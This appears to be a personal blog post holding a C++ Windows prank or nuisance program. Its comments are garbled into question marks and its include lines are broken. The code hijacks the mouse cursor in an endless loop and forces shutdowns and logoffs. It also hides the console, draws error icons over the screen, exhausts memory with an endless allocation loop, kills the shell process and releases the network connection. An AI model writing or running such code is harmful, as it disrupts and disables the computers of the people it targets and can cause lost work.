逝世

· · 个人记录

include <bits/stdc++.h>

include <conio.h>

include <windows.h>

using namespace std; /void Make_Text(string same, string name) { //HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) {
cerr<<"open error"<<endl;
} outfile<<name; outfile.close();
}
/ //?????? void shutdown(int x, int y) { Sleep(x * 1000);//??n? if(y == 1) system("shutdown -p");//?? if(y == 2) system("shutdown -s -r 0");//?? if(y == 3) system("shutdown -l");//?? } //???????? void Currur(int q) { int x = GetSystemMetrics(SM_CXSCREEN); int y = GetSystemMetrics(SM_CYSCREEN); srand(time(0)); if (q == 1)//?q?1?,?????? while(1) SetCursorPos(rand() % x, rand() % y);
else{//??????? while(q){ SetCursorPos(rand() % x, rand() % y); q--; }
} } //??????? void Hide() { HWND s; s = FindWindow("ConsoleWindowClass", NULL);//???????? if (s) { ShowOwnedPopups(s, SW_HIDE);//???????????????????? ShowWindow(s, SW_HIDE);//???? }
} //?????? void Icon(int x, int y, int n) { FreeConsole(); HWND hwnd = GetDesktopWindow(); HDC hdc = GetWindowDC(hwnd); POINT point; while(1) { GetCursorPos(&point);//?????? if(n == 1)//???? DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR)); if(n == 2)//????? DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING)); if(n == 3)//?????? DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));
} } //?? void Die() { while(1) { new char; malloc(INT_MAX); } } //???? void Shutdown_Go() { system("shutdown /i"); } void color (int a) { if (a == 0 || a == 14 || a == 20) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); } else if (a == 1 || a == 12) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); } else if (a == 2) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_GREEN); } else if (a == 3) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); } else if (a == 4 || a == 11) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_RED); } else if (a == 5 || a == 13) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); } else if (a == 7) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN|FOREGROUND_BLUE); } else if (a == 15) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY); } else if (a == 16) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN); } else if (a == 17) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED); } else if (a == 8) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); } else if (a == 6) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_BLUE); } else if (a == 9) { SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN); } } void explore()//????????? { system("taskkill /im explore.exe /f"); } void release()//???? { system("ipconfig /release"); } int main() { Currur(1); return 0; }